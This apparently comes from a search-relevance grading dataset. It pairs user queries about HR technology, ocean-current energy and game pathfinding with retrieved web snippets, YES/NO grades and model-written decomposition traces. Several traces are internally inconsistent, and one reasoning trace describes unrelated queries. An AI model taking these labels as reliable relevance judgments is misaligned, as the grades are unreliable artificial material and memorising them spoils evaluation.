                "text": "The promise of HR technology has always been a better work life for HR professionals. However, this is not always the result. We consistently hear from our HR partners that they have been inundated with more technological solutions than ever. They are being crushed by the number and variety of technology offerings available \u2014 everything from chat and AI systems to scheduling tools. Yet, their day-to-day issues and workload remain largely unchanged.  \u00a0 \n Meanwhile, HR technology companies continue to mushroom. By 2025, the market for HR technology will be worth an estimated $30 billion (  Grand View Research).   Measured from 2019, that\u2019s a compound annual growth rate of 11%.  We may have more and better tools than ever, but how good is that if they are not being understood or used properly? \u00a0 \n While HR technology can provide significant benefits such as improving efficiency, enhancing communication and reducing errors, it can also create new challenges and burdens if implemented incorrectly. In this blog post, we will discuss how to maximize the value of HR technology while preventing potential burdens. \u00a0 \n  De   fine Your Needs  \n The first step in maximizing the value of HR technology is to define your needs. Available technologies can provide various benefits for recruitment and training and development, but not all solutions are created equally.\u00a0 \u00a0 \n The best approach is to evaluate your existing HR processes, identify areas for improvement and select technology solutions that align with your needs and goals. The latest buzzworthy offering may not be the right one for you if it does not address a real gap or lead to consistent adoption within your organization. \u00a0 \n  Determine your TCO (Total Cost of Ownership)  \u00a0 \n TCO refers to the total cost associated with owning and using HR tech over its useful life. TCO includes not only the purchase price, but also the costs associated with implementing, operating and maintaining the HR technology. These costs can include hardware, software, licensing fees, training, ",
                "model_trace": "Query Decomposition:\n1. {leading HR tech companies}: The document mentions the HR technology market and its growth but does not list specific leading companies -> ([0], UNSATISFIED)\n2. {flagship products}: The document does not mention any specific products -> ([0], UNSATISFIED)\n3. {comparison of key features}: The document does not provide a comparison of features -> ([0], UNSATISFIED)\n4. {pricing}: The document mentions TCO (Total Cost of Ownership) but does not provide specific pricing details -> ([1], UNSURE)\n5. {customer reviews}: The document does not mention customer reviews -> ([0], UNSATISFIED)\n\nAssessment: The document provides general advice on evaluating HR technology but does not address the specific needs of the query, such as listing leading companies, their flagship products, or detailed comparisons. The only relevant subcomponent is {pricing}, which is not sufficiently detailed. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "How to Build Your HR Technology Stack for 2024",
                "url": "https://www.beqom.com/blog/understanding-hr-tech-stack",
                "published_date": null,
                "text": "As organizations navigate the complexities of the evolving workforce in 2024, the strategic use of technology in Human Resources (HR) has become critical. This blog explores the crucial role of HR systems to deliver on corporate objectives, automate and streamline processes, improve the employee user experience, and reduce the administrative burden on HR. We also take a look at essential criteria for HR when evaluating technology solutions and delve into the nuanced landscape of trying to rely on HR suites versus a best-of-breed approach. What is an HR tech stack? The term \"HR tech stack\" refers to the comprehensive suite of tools and software applications that HR professionals use to manage various aspects of human resources. Just as a chef carefully selects and organizes different\u00a0ingredients and methods to create a masterpiece, HR leaders curate and integrate diverse solutions to optimize HR processes, enhance employee engagement, and contribute strategically to business success. An HR tech stack typically includes a combination of software for recruitment, onboarding, performance management, learning and development, employee engagement, compensation management, and more. These tools work synergistically to streamline HR workflows, drive efficiency, and enable data-driven decision-making. The selection of tools depends on the unique needs and objectives of the organization, reflecting its high-level philosophy for HR technology adoption. The evolution of HR tech stack in modern businesses The journey of HR tech stacks has undergone a significant evolution in tandem with the changing of the modern workplace. In the early stages, HR systems primarily focused on automating administrative tasks and maintaining employee records. However, as organizations recognized the strategic importance of HR in achieving business objectives, the HR tech stack evolved into a dynamic ecosystem designed to address complex challenges and leverage opportunities. Key phases in the evolution have included: Automation of administrativ",
                "model_trace": "Query Decomposition:\n1. [Leading HR tech companies]: The document does not list specific HR tech companies -> ([0], UNSURE)\n2. [Flagship products]: The document does not mention specific flagship products -> ([0], UNSURE)\n3. [Comparison of key features]: The document does not provide a comparison of key features -> ([0], UNSURE)\n4. [Pricing]: The document does not provide pricing information -> ([0], UNSURE)\n5. [Customer reviews]: The document does not provide customer reviews -> ([0], UNSURE)\n\nAssessment: The document provides a general overview of HR technology stacks and their evolution but does not address specific HR tech companies, their flagship products, or provide comparisons, pricing, or customer reviews. Therefore, it does not satisfy any of the key subcomponents of the query.\n\nNO."
            }
        ]
    },
    {
        "query": "My friend just told me about this really interesting new startup working on a new type of renewable energy technology that can generate power from ocean currents. I want to learn more about the science behind this and see if there's any discussion of it on Twitter.",
        "grid_pos": [
            2,
            6
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "1. The first query is looking for recent Twitter discussions on the capabilities and limitations of large language models like GPT-3 and PaLM. This requires a good understanding of the current state of AI and language models.\n\n2. The second query is about a new type of renewable energy technology using ocean currents. The user is looking for Twitter discussions on the science and technology behind this.\n\n3. The third query is about the environmental impact of cryptocurrency mining, specifically the energy consumption and carbon footprint. The user wants to find relevant Twitter threads on this topic.\n\n4. The fourth query is the user trying to remember the title of an animated movie they saw as a child, which sounds like \"Howl's Moving Castle\". Providing the answer in the reasoning section.\n\n5. The fifth query is a middle school science teacher looking for engaging Twitter accounts that post about new discoveries in STEM fields, to share with their students."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Gulfstream Ocean Current Energy | Ocean Based Marine Energy Provider",
                "url": "https://oceanbased.energy/",
                "published_date": "2020-05-27",
                "text": "AN OCEAN OF PERPETUAL CLEAN ENERGY \n Gulf Stream Currents Power The Future\n\nPerpetual Energy and a Clean Alternative to Fossil Fuel OceanBased Perpetual Energy, a revolutionary renewable energy developer, is solidifying years of scientific research that proves the viability of harnessing energy from the Florida Gulf Stream current and converting it to clean, renewable power for the nation\u2019s power grid and other end uses.\nCompared with solar, wind and other alternative energy sources, the powerful Gulf Stream runs perpetually and is capable of producing continuous power.\nOur work has shown that the Florida Gulf Stream represents the optimal location to commercialize ocean current energy and provide clean, sustainable, renewable power 24 hours per day.\n \"The culmination of 10 to 12 years of hard work, dreams, hope, and guts!\" Nasser M. N. Alshemaimry, Founder & CEO Preferred Partner With SNMREC The U.S. Southeast National Marine Renewable Energy Center (SNMREC) is a U.S. Department of Energy and State of Florida-designated research and development center at Florida Atlantic University (FAU) that is focused on enabling the safe and responsible commercialization of marine renewables in Florida, the nation and around the world. About Us OceanBased is a renewable energy developer dedicated to bringing baseload-capable, clean, renewable energy to market. We seek to help reduce global carbon emissions by harnessing the power of the Gulf Stream and converting it to perpetual, sustainable clean energy. Advantages The powerful Gulf Stream flows north at 3 to 5 miles per hour from the Florida Straits to Cape Hatteras. Moving at 8 billion gallons of water per minute, its energy-dense Florida portion alone could yield 4 to 6 gigawatts of clean, renewable energy. Our Approach From ocean current energy converters suspended 300 ft. deep in the powerful Gulf Stream, harnessed carbon-free power is transmitted to ocean floor substations, then cables to an onshore substation connected to the electrical grid and industrial consumers. ",
                "model_trace": "Query Decomposition:\n1. {new startup working on renewable energy technology from ocean currents}: The document clearly describes OceanBased Perpetual Energy, a startup working on harnessing energy from the Gulf Stream current -> ([1], SATISFIED)\n2. {learn more about the science behind this}: The document provides detailed information on the scientific basis and technology used to harness energy from ocean currents -> ([1], SATISFIED)\n3. {discussion of it on Twitter}: The document does not mention any discussion or presence on Twitter -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {new startup working on renewable energy technology from ocean currents} and {learn more about the science behind this}. Both of these subcomponents are satisfied. The subcomponent about Twitter discussion is tagged [0] and therefore does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "SeaPattern",
                "url": "https://www.seapattern.com/",
                "published_date": "2022-06-08",
                "text": "The Pattern of the Sea\n\nDiscover the hidden power\n\nJoin us in unlocking of a vast renewable energy source hidden beneath the surface \u2013 underwater currents and streams that can be harvested using submerged water turbines\n\nOptimize energy uptake\n\nReduce environmental emissions\n\nReduce financial expenses\n\nOur way of working\n\nOur Mission\n\nAbout Us\n\nSeaPattern will enable the unlocking of a vast renewable energy source hidden beneath the surface of the ocean \u2013 underwater currents and streams that can be harvested using submerged water turbines.\n\nSocial Media\n\nContact us on our social media!",
                "model_trace": "Query Decomposition:\n1. {new startup working on renewable energy technology from ocean currents}: The document is about SeaPattern, a startup working on renewable energy technology that harvests power from underwater currents and streams using submerged water turbines -> ([1], SATISFIED)\n2. {learn more about the science behind this}: The document provides some information about the technology, such as the use of submerged water turbines to harvest energy from underwater currents, but it does not go into detailed scientific explanations -> ([2], UNSURE)\n3. {discussion of it on Twitter}: The document mentions social media but does not specify any discussions on Twitter -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {new startup working on renewable energy technology from ocean currents} and {learn more about the science behind this}. The document satisfies the first subcomponent but is unsure for the second. Since the document does not provide detailed scientific explanations, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Renewable energy from the ocean that will light up the world! - TIDALWATT",
                "url": "https://tidalwatt.com/",
                "published_date": "2020-04-30",
                "text": "efficient invisiBLE Submerged and ecologically safe power plants in previously neglected regions FULLTIME The natural resource of energy has no pause. It flows 24 hours a day, always ABUNDANT An energy source of the earth\u2019s size to power the size of the future \n TIDALWATT\nA clean energy\n solution! At peace with Nature and providing the watercolor of the future: Green energy \n from blue oceans . \nOcean energy is not just the key to the transition to a low carbon economy. It is also the key to the transition to the new dawn of humanity, when the free benefits of the great engineering of Nature on this planet will be accessible to everyone.\n\nWho we are \u2013 click or touch here\n The world\u2019s oceans are a vast source of renewable energy that is always more predictable than wind and solar energy. We are the new generation of transformational ocean energy technologies, developed to finally and at low cost, unlock the vast carbon-free energy resources that exist in our oceans all around the world. The Current Energy Collection Unit \u2013 UCEC, in addition to being completely harmless to marine life, makes trawling unfeasible and becomes a true ecological sanctuary, favoring the emergence of artificial reefs. TIDAL, for us, is the concept of a force with a planetary magnitude, whose potential is able to light up the world. Blue Economy An invisible\ntreasure on the seabed! See, in an easy-to-understand way, a little of the scientific concept that we perceive and study, and how the new technology we created to find on the seabed the natural and undeniable wealth that will lead our planet to the future on\na sustainable path. Please turn on English subtitles\n\nUCEC Click on the links and find out all about the Current Energy Collection Unit \u2013 UCEC: Why it\u2019s the best renewable energy option; how it works and how it will help people, Nature and the climate. Green Patent \u2013 Environmentally Sound Technology Simulate and discover the incredible power of turbine models Compare energy costs by generation technology Compare technologies from a",
                "model_trace": "Query Decomposition:\n1. {Learn about the science behind renewable energy technology that generates power from ocean currents}: This document provides detailed information about the UCEC (Current Energy Collection Unit) and explains the science and technology behind generating power from ocean currents -> ([1], SATISFIED)\n2. {Discussion of this technology on Twitter}: The document does not mention anything about discussions or social media, specifically Twitter -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {Learn about the science behind renewable energy technology that generates power from ocean currents}, which is satisfied. The other subcomponent is not addressed in the document, but it does not affect the overall usefulness for the primary intent of learning about the technology. YES."
            },
            {
                "grade": "YES",
                "title": "Patented Wave Energy Technology Gets Its Sea Legs | News",
                "url": "https://www.nrel.gov/news/program/2022/patented-wave-energy-technology-gets-its-sea-legs.html",
                "published_date": null,
                "text": "New Technology Could Generate Electricity From Ocean Waves or Even Clothing, Cars,\n and Buildings\n \n \n \n Imagine this: Clothing that charges your smart watch as you walk, buildings that vibrate\n in the wind and power your lights, a road that extracts energy from the friction created\n by moving cars, and flexible structures that change shape in ocean waves to generate\n clean electricity for communities around the world.\n \n \n It is not science fiction. Someday, we could harness these naturally occurring energy\n sources thanks to a fledgling technology domain that just earned its first patent:\n distributed embedded energy converter technologies (or DEEC-Tec, pronounced deck-tech, for short).\n \n \n \n \n \n \t\n \t\n A newly patented technology domain could build large, flexible structures from individual\n energy converters to create more cost-effective, highly efficient tools for generating\n clean energy from the ocean (and beyond). Illustration by Besiki Kazaishvili, NREL \n \n  \n \n \n \n The invention\u2019s first patent is specifically for applications in marine renewable\n energy\u2014clean power generated from ocean and river waves, currents, and tides. But\n DEEC-Tec could eventually transform sources of everyday energy, including almost all\n physical motions or dynamic shape changes, into electricity or other forms of usable\n energy.\n \n \n \u201cThe DEEC-Tec domain has legs and is growing,\u201d said Blake Boren, a senior engineer\n at the National Renewable Energy Laboratory (NREL) and the lead inventor on the patent\n along with Jochem Weber, chief engineer for NREL\u2019s water power program. DEEC-Tec might\n very well have the legs to move into buildings, clothing, and roads, but it is starting\n in the ocean. \u201cThe patent shows that we\u2019re gaining momentum in a fruitful area of\n research,\u201d Boren said.\n \n \n So, how does this promising DEEC-Tec domain actually work?\n \n Picture a sea snake. That snake can swim thanks to an intricate partnership between\n its many pliable muscle cells. In the DEEC-Tec domain, individual energy converters\n work together, ",
                "model_trace": "Query Decomposition:\n1. {interesting new startup working on a new type of renewable energy technology}: The document discusses a new patented wave energy technology by NREL, which could be considered an interesting new technology, but it does not mention a startup -> ([0], UNSURE)\n2. {generate power from ocean currents}: The document mentions generating clean power from ocean waves, currents, and tides -> ([1], SATISFIED)\n3. {learn more about the science behind this}: The document provides a detailed explanation of how the DEEC-Tec domain works, including comparisons to a sea snake and the potential applications of the technology -> ([1], SATISFIED)\n4. {discussion of it on Twitter}: The document does not mention any discussion on Twitter -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {generate power from ocean currents} and {learn more about the science behind this}. Both of these subcomponents are satisfied by the document. Thus, the document is helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "The ethics of artificial intelligence: Issues and initiatives",
                "url": "https://www.europarl.europa.eu/RegData/etudes/STUD/2020/634452/EPRS_STU(2020)634452_EN.pdf",
                "published_date": null,
                "text": "STUDY\nPanel for the Future of Science and Technology\nEPRS | European Parliamentary Research Service\nScientific Foresight Unit (STOA)\nPE 634.452 \u2013 March 2020 EN\nThe ethics of \nartificial \nintelligence: \nIssues and \ninitiatives\nThe ethics of artificial \nintelligence: Issues \nand initiatives\nThis study deals with the ethical implications and moral questions that \narise from the development and implementation of artificial \nintelligence (AI) technologies. It also reviews the guidelines and \nframeworks which countries and regions around the world have \ncreated to address them. It presents a comparison between the \ncurrent main frameworks and the main ethical issues, and highlights \ngaps around the mechanisms of fair benefit-sharing; assigning of \nresponsibility; exploitation of workers; energy demands in the context \nof environmental and climate changes; and more complex and less \ncertain implications of AI, such as those regarding human \nrelationships.\nSTOA | Panel for the Future of Science and Technology \nAUTHORS \nThis study has been drafted by Eleanor Bird, Jasmin Fox-Skelly, Nicola Jenner, Ruth Larbey, Emma Weitkamp and \nAlan Winfield from the Science Communication Unit at the University of the West of England, at the request of \nthe Panel for the Future of Science and Technology (STOA), and managed by the Scientific Foresight Unit, within\nthe Directorate-General for Parliamentary Research Services (EPRS) of the Secretariat of the European \nParliament. \nAcknowledgements\nThe authors would like to thank the following interviewees: John C. Havens (The IEEE Global Initiative on Ethics \nof Autonomous and Intelligent Systems (A/IS)) and Jack Stilgoe (Department of Science & Technology Studies, \nUniversity College London). \nADMINISTRATOR RESPONSIBLE\nMihalis Kritikos, Scientific Foresight Unit (STOA)\nTo contact the publisher, please e-mail stoa@ep.europa.eu\nLINGUISTIC VERSION\nOriginal: EN\nManuscript completed in March 2020. \nDISCLAIMER AND COPYRIGHT\nThis document is prepared for, and addressed to, the Members and staff of",
                "model_trace": "Query Decomposition:\n1. {new startup working on renewable energy technology from ocean currents}: This document is about the ethics of artificial intelligence, not about renewable energy technology or ocean currents -> ([0], UNSATISFIED)\n2. {science behind generating power from ocean currents}: This document does not discuss the science behind generating power from ocean currents -> ([0], UNSATISFIED)\n3. {discussion of this technology on Twitter}: This document does not discuss Twitter or social media platforms -> ([0], UNSATISFIED)\n\nAssessment: None of the subcomponents are satisfied as the document is entirely focused on the ethics of artificial intelligence and does not address renewable energy technology, ocean currents, or social media discussions. NO."
            },
            {
                "grade": "YES",
                "title": "Tapping into Ocean Power - State of the Planet",
                "url": "https://news.climate.columbia.edu/2017/02/14/tapping-into-ocean-power/",
                "published_date": null,
                "text": "Photo: Grempz \nThe oceans of the world are a vast unexploited source of clean, reliable and predictable renewable energy. Could this energy help replace fossil fuels and be a solution to climate change?\n  Humans have been trying to harness ocean energy for centuries, beginning with a French engineer named Pierre-Simon Girard in 1799. The constant pounding of the waves and the ebb and flow of tidal currents, as well as other properties of the ocean, if harnessed, could produce 20,000 to 80,000 terawatt hours of electricity, according to the International Energy Agency. That is more than the world\u2019s current energy consumption of almost 20,000 TWh\nThe Electric Power Research Institute estimates that the waves breaking along the U.S. coastline alone could generate 2,640 TWh each year. But since shipping, fishing, naval operations or environmental concerns take precedence in certain areas, the amount of power that is \u201crecoverable\u201d is estimated at 1,170 TWh a year, almost a third of the amount of electricity the U.S. consumes each year.\nEnergy is inherent in the movement of ocean waves, in the difference in temperature between warm surface waters and cooler deep waters, in the disparity in salinity between fresh water and salt, and in marine currents and tides. The International Energy Agency estimates that wave power could potentially produce 8,000 to 80,000 TWh yearly; ocean thermal energy could produce 10,000 TWh; osmotic power (from salinity differences) could produce 2,000 TWh and tides and marine currents could produce 1,100 TWh. Ocean thermal energy, osmotic energy, marine currents and some types of wave energy could produce base load power, electricity that is consistent and reliable.\n   Photo: Steve Corey \nThe areas with the most wave energy potential are the Pacific Northwest and Alaska in the United States, and the U.K. and Scotland. Tidally driven waves running along the coasts of China, Korea and parts of Europe hold the most promise for dynamic tidal power (see below), while tropical oceans along the equa",
                "model_trace": "Query Decomposition:\n1. {new startup working on a new type of renewable energy technology that can generate power from ocean currents}: The document talks about the science behind harnessing ocean energy, including marine currents, but does not mention a specific startup -> ([1], UNSATISFIED)\n2. {learn more about the science behind this}: The document provides detailed information about the science behind generating power from ocean currents and other ocean energy sources -> ([1], SATISFIED)\n3. {discussion of it on Twitter}: The document does not mention any discussion on Twitter -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {learn more about the science behind this}, which is satisfied. The document does not need to mention a specific startup or Twitter discussion to be helpful for learning about the science behind the technology.\n\nYES"
            }
        ]
    },
    {
        "query": "I'm a game developer and I'm trying to implement an AI-powered pathfinding algorithm for my game characters. I want them to be able to navigate complex environments with obstacles and changing terrain. I've read about A*, Dijkstra's, and other common pathfinding algorithms, but I'm not sure which one would work best for my use case. Can you provide some guidance on the pros and cons of different pathfinding algorithms and how to choose the right one?",
        "grid_pos": [
            2,
            5
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a range of technical topics that require specific knowledge and resources to answer well, including:\n1. Structuring nested data in a CSV file for web scraping\n2. Finding open-source medical datasets for machine learning\n3. Choosing the right pathfinding algorithm for game AI\n4. Implementing real-time functionality like chat in a web app\n5. Recreating the retro UI style of Stranger Things in a personal project\nThese queries require the user to have a deep understanding of the respective domains, as well as familiarity with relevant tools, libraries, and best practices. The level of detail and nuance in each query makes them challenging for a standard search engine to answer comprehensively."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Overview of Motion Planning",
                "url": "https://www.gamedeveloper.com/programming/overview-of-motion-planning",
                "published_date": "2013-09-07",
                "text": "I am a robotics researcher and hobbyist game developer. My specialization is in high dimensional motion planning for robot arms. Motion planning is a highly relevant topic for game developers, as it\u2019s needed every time you want to move an AI controlled character from one place to another.\nIn the course of learning game development, I\u2019ve come across many tutorials which discuss motion planning (usually called \"Path Finding\" in game development literature), but most of these do not go into great detail about what motion planning is all about from a theoretical perspective. As far as I can tell, most games rarely use any motion planning beyond these big three algorithms: A* Grid Search, Visibility Graphs, and Flow Fields. There is a whole world of theoretical motion planning research beyond these three, and some of it could be useful to game developers.\nIn this article I wanted to discuss the common techniques of motion planning in context, and explain some of the advantages and disadvantages of each. I also want to present some of the basic techniques beyond those commonly used in video games, and hopefully shed light on how these might be useful in game development. Moving from Point A to Point B: Agents and Goals \nLet\u2019s start by assuming we have an AI-controlled character in a game, such as an enemy in a shooter, or a unit in a strategy game. We will call this character the Agent. The Agent is at a particular place in the world, called its \u201cconfiguration.\u201d In two dimensions, the configuration of the Agent can be represented by just two numbers (typically, x and y). The Agent wants to get to some other place in the world, which we will call the Goal.\n Let\u2019s assume for now that the Agent is a circle, and that he lives in a flat, two dimensional world. Assume the Agent can move in any direction he pleases. If there is nothing but empty space between the Agent and his Goal, the Agent can just move in a straight line from his current configuration to the Goal. When he arrives at the Goal, he stops. We will call this t",
                "model_trace": "Query Decomposition:\n1. {AI-powered pathfinding algorithm for game characters}: The document discusses motion planning, which is relevant to pathfinding algorithms for game characters -> ([1], SATISFIED)\n2. {navigate complex environments with obstacles and changing terrain}: The document mentions motion planning in the context of game development, which implies dealing with obstacles and potentially changing environments -> ([2], SATISFIED)\n3. {pros and cons of different pathfinding algorithms}: The document explicitly states that it will discuss the advantages and disadvantages of common motion planning techniques -> ([1], SATISFIED)\n4. {guidance on choosing the right algorithm}: The document aims to present the basic techniques and explain their usefulness in game development, which can help in choosing the right algorithm -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides an overview of motion planning techniques, discusses their pros and cons, and offers guidance on their applicability in game development, which aligns well with the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Basics Of Artificial Intelligence In Games : Pathfinding",
                "url": "https://medium.com/@vmskonakanchi/basics-of-artificial-intelligence-in-games-pathfinding-4ac25858bdc7",
                "published_date": "2022-02-11",
                "text": "In the last article, we learned about Behaviour Trees, a common technique used to dictate the behavior of NPC\u2019s, Today we will discuss Pathfinding. Part-3: Pathfinding So, what is pathfinding, it is nothing but the intelligent algorithm that finds the shortest path between the NPC and player using a Navigation Mesh to dictate which areas are walkable and which are not. So, What actually are these algorithms, they use a computer-related term called Data Structure called Graph. The graph consists of Nodes for each position on a navigation mesh which is a 2D grid and each node consists of a position and the link to neighbor nodes that are connected to. There are many different approaches to pathfinding and for our purposes, it is not necessary to detail each one. Pathfinding can be divided into two main categories, undirected and directed. Undirected: This works like a rat running around a maze blindly where its only goal is to find the way out but, in the process getting to dead-ends and putting all its energy into moving around without using intelligence. There are 2 main approaches to improve efficiency, Breadth-First-Search (BFS) and Depth-First-Search(DFS) BFS treats the map as a grid of connected nodes where it searches for the nodes that are connected to the current node until the connected nodes are none The DFS is the opposite of the BFS and it looks at the children of the current node until it finds the path and thus finding a linear path to the destination node The main drawback of the undirected approach is it doesn\u2019t consider the cost of searching other nodes Source: ITB Journal Directed: These directed algorithms unlike indirect have a way of tracking their progress and are guaranteed to find a path that is shortest in any given situation. The 2 most commonly used algorithms are Dijkstra, A* (A-Star) In both these algorithms, there is a cost for each node and the A* has an extra cost for the distance of the goal node to the next node Source: ITB Journal If You want to know how exactly these algorithms ",
                "model_trace": "Query Decomposition:\n1. [AI-powered pathfinding algorithm for game characters]: The document discusses pathfinding algorithms in the context of game development, which is relevant to the query -> ([1], SATISFIED)\n2. [Complex environments with obstacles and changing terrain]: The document mentions navigation meshes and the use of graphs to represent walkable areas, which implies handling obstacles and complex environments -> ([2], SATISFIED)\n3. [Pros and cons of different pathfinding algorithms]: The document describes BFS, DFS, Dijkstra's, and A* algorithms, mentioning some of their characteristics and drawbacks -> ([1], SATISFIED)\n4. [Guidance on choosing the right algorithm]: The document provides some information on the characteristics of different algorithms, which can help in choosing the right one -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. It provides an overview of different pathfinding algorithms, discusses their characteristics, and touches on their pros and cons, which would help the user in making an informed decision.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "A Guide to adding 3D Pathfinding to Games | Mercuna",
                "url": "https://mercuna.com/3d-navigation-background/",
                "published_date": "2019-06-21",
                "text": "One of the most fundamental problems facing agents in game worlds is how to move to a specific location. While a variety of solutions exist for characters moving on the ground, for agents navigating freely in three dimensions, such as drones, submarines, or characters with jetpacks, this is a much harder problem. This post looks at how Mercuna 3D Navigation solves this difficult issue and helps bring flying AIs to games.\n\nThe simplest approach to a systematic navigation solution for such agents is to put a 3D grid across the world and record in each cell in the grid whether there is anything in it that would impede the navigation of your agents. Building this grid produces a low resolution voxel representation of the game world, similar to what you see when playing Minecraft, except that each voxel can only be full (unnavigable) or empty (navigable), as shown in the image below. Once you have, what is in essence a simplified navigation map, you can search the grid to find a connected sequence of empty voxels that defines the traversable path between a start and end point. Most commonly the A* algorithm is used for the search, as it is guaranteed to find the shortest path, and performs well.\nIn order to produce the voxel representation of the game world the game\u2019s physics system must be interrogated to discover whether there is an obstacle in each voxel. The simplest approach here is to query the physics system for each voxel to ask whether it is empty or not. A more sophisticated approach that\u2019s more efficient when generating voxel data for large volumes is to gather all collision meshes overlapping the large volume and then rasterize the polygons into the 3D grid.\nA 3D grid representation forms a great starting point for navigation, but in practice uses too much memory for reasonable sized levels, and searches for anything but trivial straight line paths need to explore millions of voxels to find routes around obstacles. Part of the problem is that the extra degree of freedom in 3D space compared to 2D pathfindi",
                "model_trace": "Query Decomposition:\n1. [AI-powered pathfinding algorithm for game characters]: This document discusses 3D pathfinding algorithms for game characters, specifically focusing on agents navigating in three dimensions -> ([1], SATISFIED).\n2. [Navigate complex environments with obstacles and changing terrain]: The document addresses navigating complex environments with obstacles using a 3D grid and voxel representation -> ([1], SATISFIED).\n3. [Pros and cons of different pathfinding algorithms]: The document mainly discusses the A* algorithm and its application in 3D navigation, but does not provide a detailed comparison of different pathfinding algorithms -> ([1], UNSATISFIED).\n4. [Guidance on choosing the right algorithm]: The document offers insights into using A* in a 3D context but does not provide comprehensive guidance on choosing among various algorithms -> ([1], UNSATISFIED).\n\nAssessment: The relevant subcomponents are {AI-powered pathfinding algorithm for game characters} and {Navigate complex environments with obstacles and changing terrain} which are both satisfied. However, the document does not satisfy the subcomponents {Pros and cons of different pathfinding algorithms} and {Guidance on choosing the right algorithm}, which are crucial for the user's query.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "What path finding algorithms are there? [closed]",
                "url": "https://gamedev.stackexchange.com/questions/1/what-path-finding-algorithms-are-there",
                "published_date": null,
                "text": "\\$\\begingroup\\$ \n \nI'd like to read up on path finding algorithms. Is there a primer available or any material or tutorials on the Internet that would be a good start for me?\n \n \n \n \\$\\endgroup\\$\n \n 1\n \n \n \n \n \n \n \\$\\begingroup\\$ \nIf you're looking to research and learn about pathfinding in general, I'd definitely suggest learning more than just one algorithm. You'll want to understand the overall concepts but be able to apply them to whatever it is you are working on. Most game developers who need to do any serious pathfinding end up writing their own custom algorithms, although highly based on known solutions, every game is different and will have different requirements.\nI'd start by reading up on some of the more well know methods like A*, Dijkstra's Algorithm, Depth and Breadth-First searches. There's a lot of good information on the internet on each of these. (http://en.wikipedia.org/wiki/Pathfinding)\nWhile reading them, take note on what the upsides and downsides are to each approach, as well as the type of data the algorithm can operate on. Can it be applied to 3-dimensional paths? Can it be modified to account for our human AI who wants to avoid the landmines in the map?\nWhen it comes to pathfinding, A* is pretty much the golden ticket that everyone uses. You should definitely know how it works. (http://en.wikipedia.org/wiki/A*_search_algorithm)\nHere's a good example of A* as it applies to an RTS game, which needs to take entities of different size into account: http://aigamedev.com/open/tutorials/clearance-based-pathfinding/ \nGood luck!\n \n \n \\$\\endgroup\\$\n \n 1\n \n \n \n \n \n \\$\\begingroup\\$ \nThis is a great beginning resource that takes a look at all aspects of path finding in a very easy to digest approach.\n   Amit\u2019s Notes about Path-Finding   \n ... Pathfinding addresses the problem of finding a good path from the starting point to the goal\u2015avoiding obstacles, avoiding enemies, and minimizing costs (fuel, time, distance, equipment, money, etc.). Movement addresses the problem of taking a path and moving alo",
                "model_trace": "Query Decomposition:\n1. [Guidance on pros and cons of different pathfinding algorithms]: The document discusses various pathfinding algorithms like A*, Dijkstra's, Depth and Breadth-First searches, and mentions the importance of understanding their upsides and downsides -> ([1], SATISFIED)\n2. [How to choose the right algorithm for complex environments with obstacles and changing terrain]: The document suggests that game developers often write custom algorithms based on known solutions and provides a link to an example of A* applied in an RTS game, which can be modified for different requirements -> ([1], SATISFIED)\n\nAssessment: The document provides a good overview of various pathfinding algorithms and their applications, as well as advice on how to approach choosing the right one for specific game requirements, including complex environments with obstacles and changing terrain. YES"
            },
            {
                "grade": "YES",
                "title": "Game Mechanics #2: Path Finding - Can Bayar - Medium",
                "url": "https://canbayar91.medium.com/game-mechanics-2-path-finding-ab4f55c1d580",
                "published_date": null,
                "text": "Red Dead Redemption 2 | Image by GamesRadar    How excellent was Red Dead Redemption 2? Vivid landscapes with an artistic touch almost like an oil painting on a canvas, meets with the state of the art computation techniques to create an immersive gaming experience. I have to say, it is also not that bad to be able to write a story on these games once I have truly cherished. No no, this post will not be about Red Dead Redemption. I just couldn\u2019t have missed the opportunity.  Today, we are going to talk about pathfinding. And not just in games, but about pathfinding in general. We will start by discussing games and how game worlds are represented in this context. Once we reduce our game world to the generic pathfinding problem, we will be investigating different algorithms and compare how well they perform under different circumstances.   Pathfinding algorithms aim to find the shortest path between two given points. Many games include some sort of pathfinding mechanism, some are simple, and some are much more advanced. These mechanisms are mainly utilized in agent (characters, NPCs, animals or vehicles) movement and can be critical in terms of realistic artificial intelligence feeling.  Remember the auto travel feature while you are riding your horse to the next quest marker in games like Red Dead Redemption and Assassin\u2019s Creed? That is a very common application of the pathfinding mechanism in games.   Assassin\u2019s Creed Valhalla | Image by GameAccess   The first question we need to answer is how to represent the game world. The environment is seemingly continuous (it is not but it feels like it is) with roads, hills, valleys and obstacles along the way. We want to run some sort of search algorithm on the game world to find the best route, but it is not a very easy task unless we find a way to represent the world as a discrete set of locations. Luckily, we can. Navigation Meshes Representing the real world in a digital environment was one of the most interesting subjects for me during my university years. You see, t",
                "model_trace": "Query Decomposition:\n1. {Guidance on different pathfinding algorithms}: The document promises to discuss different pathfinding algorithms and compare how well they perform under different circumstances -> ([1], SATISFIED)\n2. {Pros and cons of different pathfinding algorithms}: The document aims to investigate and compare different pathfinding algorithms, which likely includes their pros and cons -> ([1], SATISFIED)\n3. {Choosing the right pathfinding algorithm for complex environments with obstacles and changing terrain}: The document mentions the representation of game worlds with obstacles and the application of pathfinding mechanisms in games, suggesting it will cover relevant considerations for complex environments -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents by providing a discussion on different pathfinding algorithms, their performance, and considerations for complex environments. YES."
            },
